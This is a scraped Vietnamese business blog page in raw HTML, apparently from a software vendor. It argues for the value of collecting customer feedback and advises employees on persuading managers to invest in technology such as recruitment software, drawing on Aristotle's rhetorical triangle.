Doanh nghiệp của bạn c&oacute; thể thu lợi bằng c&aacute;ch thu thập phản hồi của kh&aacute;ch h&agrave;ng v&agrave; đảm bảo mức độ h&agrave;i l&ograve;ng cao của kh&aacute;ch h&agrave;ng, điều đ&oacute; được thể hiện qua 4 c&aacute;ch dưới đ&acirc;y.
<h2>Bạn sẽ tiết kiệm tiền bằng c&aacute;ch giữ ch&acirc;n kh&aacute;ch h&agrave;ng.</h2>
Một nghi&ecirc;n cứu quốc tế cho thấy 62% người ti&ecirc;u d&ugrave;ng n&oacute;i rằng họ c&oacute; xu hướng mua h&agrave;ng từ một thương hiệu đ&atilde; y&ecirc;u cầu họ phản hồi về chất lượng dịch vụ v&agrave; 56% n&oacute;i rằng họ trung th&agrave;nh hơn với một thương hiệu đ&atilde; t&ocirc;n trọng &yacute; kiến đề xuất của họ.
Việc giữ cho kh&aacute;ch h&agrave;ng trung th&agrave;nh với doanh nghiệp của bạn c&oacute; nghĩa l&agrave; bạn sẽ &iacute;t c&oacute; khả năng mất họ trước đối thủ cạnh tranh. Một khi bạn mất một kh&aacute;ch h&agrave;ng, chi ph&iacute; để c&oacute; được một kh&aacute;ch h&agrave;ng mới cao hơn từ bốn đến mười lần. C&aacute;ch tốt nhất để giữ ch&acirc;n kh&aacute;ch h&agrave;ng l&agrave; đảm bảo họ h&agrave;i l&ograve;ng khi lựa chọn sản phẩm của bạn.
<h2>Doanh thu của bạn sẽ tăng l&ecirc;n rất nhiều.</h2>
C&aacute;c doanh nghiệp đảm bảo mức độ h&agrave;i l&ograve;ng cao của kh&aacute;ch h&agrave;ng bằng c&aacute;ch h&agrave;nh động dựa tr&ecirc;n phản hồi c&oacute; lợi thế về kinh tế.
Chuy&ecirc;n gia dịch vụ kh&aacute;ch h&agrave;ng Rob Markey cho biết, một c&ocirc;ng ty được x&aacute;c định l&agrave; người dẫn đầu Net Promoter Score tăng trưởng nhanh gấp hai lần so với phần c&ograve;n lại của thị trường. Đ&acirc;y l&agrave; một lợi thế chi ph&iacute; khoảng 15 phần trăm.
Hơn nữa, theo một nghi&ecirc;n cứu của Watermark Consulting, c&aacute;c doanh nghiệp c&oacute; kh&aacute;ch h&agrave;ng h&agrave;i l&ograve;ng th&igrave; cổ phiếu hoạt động tốt hơn trong thời gian s&aacute;u năm so với những doanh nghiệp c&oacute; kh&aacute;ch h&agrave;ng &iacute;t h&agrave;i l&ograve;ng hơn.
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/10/22/dc6846e0-1451-11eb-a4b8-77222073938e-1603362738766.jpeg" alt="thu-thap-phan-hoi" width="550" height="304" />
<h2>Tr&aacute;nh c&aacute;c đ&aacute;nh gi&aacute; trực tuyến ti&ecirc;u cực.</h2>
Bằng c&aacute;ch giải quyết sự kh&ocirc;ng h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng về sản phẩm ngay sau khi nhận được phản hồi của họ, l&yacute; tưởng nhất l&agrave; tại điểm b&aacute;n h&agrave;ng, bạn sẽ tr&aacute;nh việc họ tr&uacute;t giận l&ecirc;n mạng bằng một đ&aacute;nh gi&aacute; ti&ecirc;u cực, điều n&agrave;y c&oacute; thể g&acirc;y tổn hại cho bạn về mặt t&agrave;i ch&iacute;nh.
Một cuộc khảo s&aacute;t được tiến h&agrave;nh trong người ti&ecirc;u d&ugrave;ng Mỹ v&agrave;o năm 2013 cho thấy 80% số người được hỏi đảo ngược quyết định mua h&agrave;ng sau khi đọc đ&aacute;nh gi&aacute; trực tuyến ti&ecirc;u cực. V&agrave; dữ liệu từ Đại học Harvard cho thấy rằng sự gia tăng một sao tr&ecirc;n Yelp c&oacute; thể dẫn đến tăng trưởng 5-9% doanh thu.
<h2>N&acirc;ng cao hiệu suất l&agrave;m việc của nh&acirc;n vi&ecirc;n.</h2>
Đừng đ&aacute;nh gi&aacute; thấp sức mạnh của cuộc khảo s&aacute;t độ h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng được thiết kế tốt để cải thiện hiệu suất của nh&acirc;n vi&ecirc;n. Đ&acirc;y l&agrave; một động lực mạnh mẽ cho c&aacute;c nh&acirc;n vi&ecirc;n cố gắng cung cấp dịch vụ tốt nhất.
Thu thập th&ocirc;ng tin phản hồi của kh&aacute;ch h&agrave;ng gi&uacute;p doanh nghiệp lắng nghe v&agrave; thấu hiểu kh&aacute;ch h&agrave;ng tốt nhất th&ocirc;ng qua từng h&agrave;nh tr&igrave;nh trải nghiệm của họ để đưa ra b&aacute;o c&aacute;o ph&acirc;n t&iacute;ch đa chiều về &yacute; kiến phản hồi của kh&aacute;ch h&agrave;ng từ đ&oacute; kịp thời nắm bắt, điều chỉnh v&agrave; xử l&yacute; những bất cập của hệ thống cũng như c&oacute; sự đ&aacute;nh gi&aacute; ch&iacute;nh x&aacute;c về mức độ h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng đồng thời n&acirc;ng cao năng suất v&agrave; chất lượng phục vụ của giao dịch vi&ecirc;n.

Doanh nghiệp của bạn có thể thu lợi bằng cách thu thập phản hồi của khách hàng và đảm bảo mức độ hài lòng cao của khách hàng, điều đó được thể hiện qua 4 cách dưới đây.

Giá trị của việc thu thập đánh giá của khách hàng với doanh nghiệp

Trong kinh doanh việc quan tâm đến các phản hồi khách hàng ít được các doanh nghiệp để ý, nên đã qua đó bỏ qua rất nhiều giá trị thiết thực đối với doanh nghiệp.

Một Marketer chuy&ecirc;n nghiệp lu&ocirc;n hiểu rằng chi ph&iacute; để c&oacute; được kh&aacute;ch h&agrave;ng mới bao giờ cũng cao hơn (thậm ch&iacute; l&agrave; rất nhiều) so với việc duy tr&igrave;, thuyết phục kh&aacute;ch h&agrave;ng cũ trở lại mua sản phẩm của m&igrave;nh. Để thực hiện được điều đ&oacute;, doanh nghiệp cần biết được cảm nhận của kh&aacute;ch h&agrave;ng sau khi sử dụng sản phẩm dịch vụ của m&igrave;nh, họ thực sự nghĩ g&igrave;, liệu họ sẽ tiếp tục quay lại?&nbsp;
<h2 style="text-align: justify;">Phản hồi của kh&aacute;ch h&agrave;ng gi&uacute;p doanh nghiệp cải thiện chất lượng dịch vụ</h2>
Mục đ&iacute;ch lớn nhất v&agrave; quan trọng nhất của doanh nghiệp l&agrave; tạo ra c&aacute;c sản phẩm dịch vụ thực sự đ&aacute;p ứng được đ&uacute;ng nhu cầu của kh&aacute;ch h&agrave;ng. Mặc d&ugrave; trước khi đưa một sản phẩm ra thị trường, doanh nghiệp đ&atilde; c&oacute; những nghi&ecirc;n cứu kĩ lưỡng nhưng trong qu&aacute; tr&igrave;nh vận h&agrave;nh để biết ch&iacute;nh x&aacute;c nhất sản phẩm, dịch vụ của m&igrave;nh đ&atilde; thực sự đ&aacute;p ứng được nhu cầu của kh&aacute;ch h&agrave;ng hay chưa, doanh nghiệp cần nắm được phản hồi của kh&aacute;ch h&agrave;ng.&nbsp;Phản hồi của kh&aacute;ch h&agrave;ng l&agrave; th&ocirc;ng tin chi tiết về qu&aacute; tr&igrave;nh vận h&agrave;nh sản phẩm hoặc dịch vụ của doanh nghiệp v&agrave; những g&igrave; bạn cần l&agrave;m l&agrave; cải thiện ch&uacute;ng sao cho kh&aacute;ch h&agrave;ng c&oacute; những trải nghiệm tốt nhất.
Rủi ro c&oacute; thể nằm ở chất lượng sản phẩm dịch vụ hoặc chất lượng phục vụ của giao dịch vi&ecirc;n. V&igrave; thế, &yacute; kiến phản hồi của kh&aacute;ch h&agrave;ng sẽ gi&uacute;p doanh nghiệp, tổ chức đ&aacute;nh gi&aacute; ch&iacute;nh x&aacute;c được hiệu quả l&agrave;m việc của nh&acirc;n vi&ecirc;n để c&oacute; thể kịp thời điều chỉnh v&agrave; chuy&ecirc;n nghiệp h&oacute;a đội ngũ nh&acirc;n sự. Ngược lại, nh&acirc;n vi&ecirc;n dưới sự gi&aacute;m s&aacute;t v&agrave; phản hồi của kh&aacute;ch h&agrave;ng sẽ c&oacute; tr&aacute;ch nhiệm v&agrave; nhiệt t&igrave;nh hơn trong c&ocirc;ng việc của m&igrave;nh m&agrave; kh&ocirc;ng chờ đến sự đ&aacute;nh gi&aacute; can thiệp từ ph&iacute;a l&atilde;nh đạo c&ocirc;ng ty. Theo thời gian, th&ocirc;ng tin phản hồi của kh&aacute;ch h&agrave;ng sẽ l&agrave; thước đo quan trọng để đảm bảo rằng sản phẩm của bạn c&oacute; gi&uacute;p giải quyết vấn đề của kh&aacute;ch h&agrave;ng hoặc đ&aacute;p ứng nhu cầu của họ hay kh&ocirc;ng.
<h2 style="text-align: justify;">Phản hồi của kh&aacute;ch h&agrave;ng&nbsp;gi&uacute;p đo lường sự h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng.</h2>
Sự h&agrave;i l&ograve;ng v&agrave; sự trung th&agrave;nh của kh&aacute;ch h&agrave;ng l&agrave; yếu tố quan trọng quyết định sức sống v&agrave; tuổi thọ của doanh nghiệp. Muốn thế, doanh nghiệp cần nắm r&otilde; những th&ocirc;ng tin về phản hồi của kh&aacute;ch h&agrave;ng để biết được sản phẩm, dịch vụ của m&igrave;nh đang ở vị tr&iacute; thứ mấy trong thang điểm h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng.
<img class="size-medium wp-image-2867 aligncenter" style="display: block; margin-left: auto; margin-right: auto;" src="https://miraway-cetm.com/wp-content/uploads/2018/10/phan-hoi-cua-khach-hang-1-613x400.jpg" sizes="(max-width: 613px) 100vw, 613px" srcset="https://miraway-cetm.com/wp-content/uploads/2018/10/phan-hoi-cua-khach-hang-1-613x400.jpg 613w, https://miraway-cetm.com/wp-content/uploads/2018/10/phan-hoi-cua-khach-hang-1-768x502.jpg 768w, https://miraway-cetm.com/wp-content/uploads/2018/10/phan-hoi-cua-khach-hang-1-1225x800.jpg 1225w" alt="phản hồi của kh&aacute;ch h&agrave;ng" width="613" height="400" />
&nbsp;
Nhiều nghi&ecirc;n cứu đ&atilde; x&aacute;c nhận mối li&ecirc;n hệ chặt chẽ giữa sự h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng v&agrave; hiệu quả kinh doanh. Do đ&oacute;, c&aacute;ch tốt nhất để đảm bảo việc kinh doanh của bạn c&oacute; hiệu quả hay kh&ocirc;ng th&igrave; cần phải biết &nbsp;kh&aacute;ch h&agrave;ng c&oacute; h&agrave;i l&ograve;ng với c&aacute;c sản phẩm v&agrave; dịch vụ của bạn hay kh&ocirc;ng. V&agrave; để l&agrave;m được điều đ&oacute; th&igrave; chỉ c&oacute; thể nhờ&nbsp;phản hồi kh&aacute;ch h&agrave;ng.
<h2 style="text-align: justify;">Phản hồi của kh&aacute;ch h&agrave;ng&nbsp;gi&uacute;p kh&aacute;ch h&agrave;ng cảm thấy doanh nghiệp coi trọng &yacute; kiến của họ.</h2>
Kỉ nguy&ecirc;n lấy kh&aacute;ch h&agrave;ng l&agrave;m trung t&acirc;m đang thực sự chi phối to&agrave;n bộ thị trường tr&ecirc;n tất cả c&aacute;c lĩnh vực, ng&agrave;nh h&agrave;ng. Việc l&agrave;m h&agrave;i l&ograve;ng kh&aacute;ch h&agrave;ng l&agrave; yếu tố ti&ecirc;n quyết m&agrave; mọi doanh nghiệp hiện nay đang đầu tư ch&uacute; trọng.
Trong khi kinh doanh đang ng&agrave;y c&agrave;ng trở n&ecirc;n kh&oacute; khăn hơn th&igrave; sự thỏa m&atilde;n của kh&aacute;ch h&agrave;ng ch&iacute;nh l&agrave; yếu tố tuyệt vời gi&uacute;p giữ ch&acirc;n họ, khiến họ quay trở lại v&agrave; sẵn s&agrave;ng giới thiệu sản phẩm/dịch vụ của bạn cho những người th&acirc;n của họ. Đ&oacute; cũng l&agrave; c&aacute;ch tốt nhất để bạn c&oacute; thể nổi bật hơn so với đối thủ cạnh tranh v&agrave; trở th&agrave;nh sự lựa chọn tốt d&agrave;nh cho mọi đối tượng kh&aacute;ch h&agrave;ng tiềm năng.
<h2 style="text-align: justify;">Phản hồi của kh&aacute;ch h&agrave;ng gi&uacute;p doanh nghiệp tạo trải nghiệm kh&aacute;ch h&agrave;ng tốt nhất.</h2>
Để tiếp thị th&agrave;nh c&ocirc;ng, ng&agrave;y nay doanh nghiệp chủ yếu dựa tr&ecirc;n trải nghiệm của những người c&oacute; sản phẩm, dịch vụ v&agrave; thương hiệu. Kh&aacute;ch h&agrave;ng h&agrave;i l&ograve;ng sẽ ở lại với bạn. Đ&oacute; l&agrave; điều hiển nhi&ecirc;n. Do đ&oacute;, nếu bạn tập trung v&agrave;o việc cung cấp trải nghiệm kh&aacute;ch h&agrave;ng tốt nhất kh&aacute;ch h&agrave;ng sẽ trung th&agrave;nh với thương hiệu của bạn. V&agrave; theo tự nhi&ecirc;n, c&aacute;ch hiệu quả nhất để mang đến cho họ trải nghiệm tuyệt vời l&agrave; nắm được những g&igrave; họ mong muốn về sản phẩm dịch vụ của bạn v&agrave; đ&aacute;p ứng ch&uacute;ng.
Ngay cả khi gặp những sự cố, nhờ thường xuy&ecirc;n cập nhật phản hồi kh&aacute;ch h&agrave;ng, doanh nghiệp sẽ khắc phục nhanh ch&oacute;ng, ch&iacute;nh x&aacute;c &ndash; điều đ&oacute; sẽ khiến kh&aacute;ch h&agrave;ng c&agrave;ng đ&aacute;nh gi&aacute; cao v&agrave; tin tưởng sử dụng sản phẩm, dịch vụ của bạn.
<h2 style="text-align: justify;">Cung cấp dữ liệu gi&uacute;p doanh nghiệp đưa ra quyết định kinh doanh.</h2>
Trong một thị trường cạnh tranh ở mức độ cao như hiện nay, kh&ocirc;ng c&oacute; chỗ cho c&aacute;c quyết định kinh doanh dựa tr&ecirc;n sự phỏng đo&aacute;n mơ hồ. Doanh nghiệp chỉ th&agrave;nh c&ocirc;ng khi biết thu thập, quản l&yacute; v&agrave; ph&acirc;n t&iacute;ch c&aacute;c loại dữ liệu ri&ecirc;ng biệt gi&uacute;p đưa ra c&aacute;c chiến lược kinh doanh nhanh ch&oacute;ng v&agrave; ch&iacute;nh x&aacute;c trong tương lai. Chỉ bằng c&aacute;ch n&agrave;y, doanh nghiệp c&oacute; thể điều chỉnh sản phẩm v&agrave; dịch vụ của họ để ho&agrave;n to&agrave;n ph&ugrave; hợp với nhu cầu của kh&aacute;ch h&agrave;ng.
Phản hồi của kh&aacute;ch h&agrave;ng l&agrave; một trong những nguồn đ&aacute;ng tin cậy nhất c&oacute; thể được sử dụng để gi&uacute;p doanh nghiệp kịp thời nắm bắt v&agrave; xử l&yacute; những bất cập của hệ thống để cải thiện chất lượng v&agrave; hiệu quả hoạt động. Th&ocirc;ng tin chi tiết của kh&aacute;ch h&agrave;ng sẽ gi&uacute;p bạn hiểu r&otilde; hơn h&agrave;nh vi kh&aacute;ch h&agrave;ng v&agrave; nhu cầu của thị trường để t&igrave;m ra c&aacute;c cơ hội kinh doanh.
Biết m&igrave;nh biết ta, trăm trận trăm thắng. V&igrave; thế, việc nắm bắt v&agrave; xử l&yacute; phản hồi kh&aacute;ch h&agrave;ng sẽ l&agrave; lợi thế cạnh tranh tốt nhất của doanh nghiệp, gi&uacute;p doanh nghiệp biết được m&igrave;nh đang ở vị tr&iacute; n&agrave;o để cải thiện nhằm chiếm được l&ograve;ng tin, sự trung th&agrave;nh v&agrave; ủng hộ của kh&aacute;ch h&agrave;ng m&ocirc;t c&aacute;ch l&acirc;u d&agrave;i, bền vững.

Phản hồi của khách hàng là thông tin chi tiết về quá trình vận hành sản phẩm hoặc dịch vụ của doanh nghiệp và những gì bạn cần làm là cải thiện chúng sao cho khách hàng có những trải nghiệm tốt nhất.

Phản Hồi Của Khách Hàng Có Quan Trọng Với Doanh Nghiệp?

Phản hồi của khách hàng có phải là thông tin vô cùng quan trọng trong quản trị sự hài lòng khách hàng, giữ chân khách hàng, cải thiện sản phẩm, dịch vụ cũng như nhiều khía cạnh khác trong kinh doanh.

Mong muốn được ứng dụng một <a href="https://blackwind.vn/">giải ph&aacute;p c&ocirc;ng nghệ</a> để n&acirc;ng cao hiệu quả l&agrave;m việc nhưng chưa biết đề xuất với cấp tr&ecirc;n như thế n&agrave;o? H&atilde;y t&igrave;m cho m&igrave;nh c&acirc;u trả lời ngay trong b&agrave;i viết dưới đ&acirc;y!
Thuyết phục cấp tr&ecirc;n sử dụng c&ocirc;ng nghệ? Đừng đơn độc, h&atilde;y trở th&agrave;nh một nh&agrave; h&ugrave;ng biện với sự ủng hộ từ đ&aacute;m đ&ocirc;ng!
Nhiệm vụ thuyết phục cấp tr&ecirc;n m&oacute;c hầu bao chi trả cho một thứ thuốc thử mới mang t&ecirc;n c&ocirc;ng nghệ c&oacute; lẽ kh&ocirc;ng hề dễ d&agrave;ng. Nhất l&agrave; khi, nhiều cấp quản l&yacute; vẫn đang tin rằng doanh nghiệp của m&igrave;nh c&oacute; thể hoạt động tốt với phương thức truyền thống ngay trong bối cảnh c&ocirc;ng nghệ hiện đại ng&agrave;y nay (v&agrave; tất nhi&ecirc;n, đ&acirc;y l&agrave; suy nghĩ sai lầm).
Để thay đổi suy nghĩ của những vị sếp đ&aacute;ng k&iacute;nh, nhưng c&oacute; phần khắt khe, bạn c&oacute; thể tham khảo ngay những gợi &yacute; dưới đ&acirc;y:
<ol style="text-align: justify;">
<li>
<h2>T&igrave;m kiếm sự đồng t&igrave;nh từ đồng nghiệp, đội ngũ nh&acirc;n vi&ecirc;n.</h2>
</li>
</ol>
Những vấn đề về c&ocirc;ng việc hay phương thức vận h&agrave;nh l&agrave; vấn đề mang t&iacute;nh hệ thống. N&ecirc;n chắc chắn, bạn kh&ocirc;ng phải l&agrave; người duy nhất trải nghiệm ch&uacute;ng. Một c&acirc;y l&agrave;m chẳng n&ecirc;n non, ba c&acirc;y chụm lại n&ecirc;n h&ograve;n n&uacute;i cao, bạn cần nhanh ch&oacute;ng t&igrave;m kiếm sự ủng hộ của những đồng nghiệp đang gặp phải c&aacute;c vấn đề tương tự. Cấp tr&ecirc;n c&oacute; thể dễ d&agrave;ng từ chối đề xuất của một nh&acirc;n vi&ecirc;n, nhưng khi đ&oacute; l&agrave; vấn đề, pain point của cả tập thể, th&igrave; họ sẽ kh&ocirc;ng thể l&agrave;m ngơ được nữa.
Lưu &yacute;: Đối tượng ch&iacute;nh khi k&ecirc;u gọi sự ủng hộ của bạn n&ecirc;n l&agrave; c&aacute;c nh&agrave; quản l&yacute; cấp trung. Họ l&agrave;m việc tương đối s&aacute;t với nh&acirc;n vi&ecirc;n, n&ecirc;n chắc chắn sẽ hiểu r&otilde; v&agrave; c&oacute; thể định h&igrave;nh được c&aacute;c pain point của đội ngũ lao động trong thực tế. Đồng thời, những c&aacute; nh&acirc;n n&agrave;y cũng nắm trong tay lượng quyền hạn nhất định để đề xuất v&agrave; thuyết phục cấp tr&ecirc;n thực hiện c&aacute;c khoản đầu tư mang t&iacute;nh chiến lược.
<ol style="text-align: justify;" start="2">
<li>
<h2>Nhấn mạnh những gi&aacute; trị lợi &iacute;ch khi &aacute;p dụng giải ph&aacute;p c&ocirc;ng nghệ</h2>
</li>
</ol>
Lợi &iacute;ch l&agrave; thứ đầu ti&ecirc;n (v&agrave; gần như l&agrave; duy nhất) m&agrave; c&aacute;c cấp l&atilde;nh đạo nghĩ tới khi đưa ra c&aacute;c quyết định đầu tư bất cứ thứ g&igrave;. Bởi vậy, khi c&oacute; đề xuất về việc ứng dụng c&ocirc;ng nghệ, h&atilde;y đảm bảo bạn c&oacute; thể đưa ra những dữ liệu về sự biến chuyển c&oacute; lợi trong c&aacute;c mặt như doanh thu hay vận h&agrave;nh để thu h&uacute;t cấp tr&ecirc;n.
Cụ thể, c&oacute; hai loại lợi &iacute;ch m&agrave; bạn cần đưa ra khi muốn thuyết phục cấp tr&ecirc;n đầu tư v&agrave;o giải ph&aacute;p c&ocirc;ng nghệ. Ch&uacute;ng bao gồm:
Lợi &iacute;ch hữu h&igrave;nh: L&agrave; nh&oacute;m lợi &iacute;ch li&ecirc;n quan đến c&aacute;c kh&iacute;a cạnh về gia tăng doanh thu trực tiếp hoặc tối ưu chi ph&iacute; trong c&aacute;c hoạt động vận h&agrave;nh v&agrave; kinh doanh của tổ chức. Những lợi &iacute;ch n&agrave;y c&oacute; thể được đo lường dễ d&agrave;ng qua thước đo t&agrave;i ch&iacute;nh: cụ thể hơn bằng c&aacute;ch so s&aacute;nh doanh thu v&agrave; chi ph&iacute; trước v&agrave; sau khi đầu tư c&ocirc;ng nghệ th&ocirc;ng tin.
Một số v&iacute; dụ về lợi &iacute;ch hữu h&igrave;nh:
<ul>
<li style="text-align: justify;">Tăng trưởng doanh thu</li>
<li style="text-align: justify;">Tăng trưởng thị phần</li>
<li style="text-align: justify;">Giảm chi ph&iacute; giao dịch</li>
<li style="text-align: justify;">Giảm chi ph&iacute; lao động</li>
</ul>
Lợi &iacute;ch v&ocirc; h&igrave;nh: L&agrave; nh&oacute;m lợi &iacute;ch c&ocirc;ng nghệ c&oacute; t&aacute;c động đến c&aacute;c hoạt động vận h&agrave;nh v&agrave; kinh doanh của doanh nghiệp. Tuy nhi&ecirc;n nh&oacute;m n&agrave;y kh&ocirc;ng li&ecirc;n quan trực tiếp đến thước đo kinh tế, n&ecirc;n kh&oacute; v&agrave; ti&ecirc;u tốn nhiều thời gian đo lường hơn.
Một số v&iacute; dụ về lợi &iacute;ch v&ocirc; h&igrave;nh:
<ul>
<li style="text-align: justify;">Cải thiện sự h&agrave;i l&ograve;ng của kh&aacute;ch h&agrave;ng</li>
<li style="text-align: justify;">Th&uacute;c đẩy tinh thần l&agrave;m việc của nh&acirc;n vi&ecirc;n</li>
<li style="text-align: justify;">X&acirc;y dựng t&iacute;nh minh bạch trong c&ocirc;ng việc</li>
</ul>
Bạn c&oacute; thể bắt đầu thu thập những dẫn chứng lợi &iacute;ch n&agrave;y bằng c&aacute;ch ph&acirc;n t&iacute;ch thị trường phần mềm c&ocirc;ng nghệ, kiểm tra những b&aacute;o c&aacute;o về việc c&aacute;c doanh nghiệp đang ứng dụng ch&uacute;ng như thế n&agrave;o, v&agrave; họ đ&atilde; nhận lại được những g&igrave;. Sau đ&oacute; h&atilde;y liệt k&ecirc; những th&ocirc;ng tin quan trọng v&agrave; ph&ugrave; hợp nhất đối với doanh nghiệp của bạn, lấy ch&uacute;ng l&agrave;m dẫn chứng để thuyết phục cấp tr&ecirc;n.
Chẳng hạn, nếu bạn đang muốn ban l&atilde;nh đạo đầu tư v&agrave;o một phần mềm quản l&yacute; y&ecirc;u cầu, đề xuất để hạn chế t&igrave;nh trạng qu&aacute; tải, xử l&yacute; giấy tờ thủ c&ocirc;ng., bạn c&oacute; thể lấy dẫn chứng theo c&aacute;c casestudy điển h&igrave;nh như: Ubofood, một doanh nghiệp b&aacute;n lẻ thực phẩm đ&atilde; cắt giảm được 80% email v&agrave; tiết kiệm 4kg giấy tờ chỉ trong v&ograve;ng 1 th&aacute;ng kể từ khi sử dụng ứng dụng số.
<ol style="text-align: justify;" start="3">
<li>
<h2>Thuyết phục cấp tr&ecirc;n bằng nghệ thuật h&ugrave;ng biện khoa học</h2>
</li>
</ol>
Ngo&agrave;i sự trợ gi&uacute;p của đồng nghiệp v&agrave; những dẫn chứng lợi &iacute;ch mạnh mẽ, bạn vẫn c&oacute; thể biến kế hoạch đề xuất của m&igrave;nh c&oacute; sức nặng hơn nữa bằng việc ứng dụng c&aacute;c nguy&ecirc;n l&yacute; thuyết phục của triết gia lừng danh Aristotle. Những nguy&ecirc;n l&yacute; n&agrave;y phổ biến v&agrave; hiệu quả đến mức ngay cả những nh&acirc;n vật tầm cỡ như tỷ ph&uacute; Warren Buffett cũng học tập v&agrave; sử dụng ch&uacute;ng trong thực tế.
Những nguy&ecirc;n l&yacute; n&agrave;y, hay c&ograve;n được gọi l&agrave; tam gi&aacute;c h&ugrave;ng biện, bao gồm 3 kh&iacute;a cạnh: ethos (t&iacute;nh tin cậy-g&oacute;c nh&igrave;n người đề xuất), pathos (t&iacute;nh cảm x&uacute;c-g&oacute;c nh&igrave;n người tiếp nhận đề xuất) and logos (t&iacute;nh l&yacute; luận - dẫn chứng).
Bằng việc kể một c&acirc;u chuyện nh&acirc;n-quả với sự lồng gh&eacute;p kh&eacute;o l&eacute;o 3 yếu tố n&agrave;y, bản đề xuất của bạn chắc chắn sẽ g&acirc;y được ấn tượng mạnh mẽ với cấp tr&ecirc;n. Dưới đ&acirc;y l&agrave; một v&iacute; dụ cụ thể:
Dẫn đề: L&agrave; người chịu tr&aacute;ch nhiệm cho việc tuyển dụng (ethos - gắn liền h&igrave;nh ảnh bản th&acirc;n gần gũi nhất với vấn đề - tăng t&iacute;nh tin cậy), t&ocirc;i đ&atilde; tổng hợp nhanh một bản b&aacute;o c&aacute;o so s&aacute;nh quy tr&igrave;nh l&agrave;m việc thủ c&ocirc;ng hiện tại với việc nếu được triển khai c&ocirc;ng nghệ.
T&oacute;m tắt về t&igrave;nh trạng hiện tại: Quy tr&igrave;nh tuyển dụng truyền thống hiện tại đang kh&ocirc;ng hiệu quả, ti&ecirc;u tốn nhiều thời gian v&agrave; c&ocirc;ng sức, g&acirc;y &aacute;p lực l&ecirc;n đội ngũ nh&acirc;n vi&ecirc;n.
Chi tiết:
Doanh nghiệp đang trong tiến tr&igrave;nh mở rộng, &aacute;p lực tuyển dụng lớn 1000 người/ năm, g&acirc;y kh&oacute; dễ cho đội ngũ nh&acirc;n vi&ecirc;n với chỉ 7 người (k&ecirc;u gọi sự đồng t&igrave;nh từ những đồng nghiệp, đ&aacute;nh v&agrave;o t&iacute;nh cảm x&uacute;c - pathos)
C&aacute;c c&ocirc;ng t&aacute;c quản l&yacute; hồ sơ tiến h&agrave;nh thủ c&ocirc;ng tr&ecirc;n excel ti&ecirc;u tốn rất nhiều thời gian.
Thương hiệu tuyển dụng c&ograve;n non trẻ trong thị trường lao động ng&agrave;nh t&agrave;i ch&iacute;nh cạnh tranh gay gắt.
Đội ngũ tuyển dụng gặp kh&oacute; khăn do quy m&ocirc; tuyển dụng trải d&agrave;i tr&ecirc;n nhiều tỉnh th&agrave;nh
Tuyển dụng kh&ocirc;ng hiệu quả, g&acirc;y l&atilde;ng ph&iacute; t&agrave;i ch&iacute;nh (số liệu - logos)
Sau phần dẫn đề về t&igrave;nh trạng, bạn sẽ vẽ ra bối cảnh về tương lai với sự trợ gi&uacute;p của c&ocirc;ng nghệ (với số liệu v&agrave; dẫn chứng được tham khảo từ c&aacute;c doanh nghiệp c&ugrave;ng ng&agrave;nh nghề).
Giải ph&aacute;p: Ứng dụng phần mềm quản trị tuyển dụng ATS sẽ gi&uacute;p giải quyết c&aacute;c b&agrave;i to&aacute;n (đề cập đến những pain point của cả doanh nghiệp, đ&aacute;nh v&agrave;o cảm x&uacute;c của cấp l&atilde;nh đạo - pathos) như:
<ul>
<li style="text-align: justify;">Đa dạng nguồn ứng vi&ecirc;n, đ&aacute;nh gi&aacute; tức thời hiệu quả của c&aacute;c k&ecirc;nh tuyển dụng</li>
<li style="text-align: justify;">Theo d&otilde;i c&aacute;c chỉ số tuyển dụng s&aacute;t sao</li>
<li style="text-align: justify;">N&acirc;ng cao năng suất v&agrave; hiệu quả quản l&yacute; dữ liệu tuyển dụng</li>
<li style="text-align: justify;">Đẩy mạnh chất lượng tuyển dụng</li>
</ul>
Ở đ&acirc;y, c&oacute; thể bổ sung th&ecirc;m c&aacute;c Unique Selling Point (t&iacute;nh năng nổi bật, chi ph&iacute; rẻ) của phần mềm để tăng độ tin tưởng từ cấp tr&ecirc;n.
Giả định về kết quả, với số liệu trung b&igrave;nh được thu thập theo sản phẩm c&ocirc;ng nghệ được dự định ứng dụng
Hiệu quả tuyển dụng dự kiển: sau 4 th&aacute;ng sử dụng phần mềm, ước t&iacute;nh c&oacute; 16,000 hồ sơ ứng tuyển với số nh&acirc;n vi&ecirc;n được tuyển dụng ch&iacute;nh thức l&ecirc;n tới 350 người. (Đối xứng với KPI 336 người/ th&aacute;ng, đạt 104% (số liệu - logos)
Tinh gọn quy tr&igrave;nh tuyển dụng, tự động h&oacute;a c&aacute;c t&aacute;c vụ thủ c&ocirc;ng
Tiết kiệm thời gian tuyển dụng, tập trung v&agrave;o c&aacute;c c&ocirc;ng việc nhằm n&acirc;ng cao thương hiệu v&agrave; chất lượng tuyển dụng
<h2 style="text-align: justify;">Tạm kết</h2>
Dẫu cho l&agrave;n s&oacute;ng c&ocirc;ng nghệ đang dịch chuyển mạnh mẽ v&agrave; thay đổi bộ mặt của nhiều doanh nghiệp h&agrave;ng ng&agrave;y, th&igrave; vẫn c&ograve;n đ&oacute; những vị cấp tr&ecirc;n truyền thống chưa nhận ra điều n&agrave;y. Để thuyết phục họ nhanh ch&oacute;ng nghĩ lại, bạn cần phải x&acirc;y dựng được một bản đề xuất với n&ograve;ng cốt l&agrave; sự ủng hộ của tập thể nh&acirc;n vi&ecirc;n cũng như dẫn chứng từ những con số h&ugrave;ng hồn.

Bạn phải vật lộn với những trang tính Excel cả nghìn dòng, rồi “điên tiết” lên khi không thể tìm ra một lỗi sai trong “mớ” công thức hàm rắc rối, phức tạp? dành hàng giờ liền, xử lý thủ công loạt giấy

Làm thế nào để thuyết phục sếp đầu tư cho những giải pháp công nghệ mới?

Bạn phải vật lộn với những trang tính Excel cả nghìn dòng, rồi “điên tiết” lên khi không thể tìm ra một lỗi sai trong “mớ” công thức hàm rắc rối, phức tạp? xử lý thủ công loạt giấy tờ văn bản

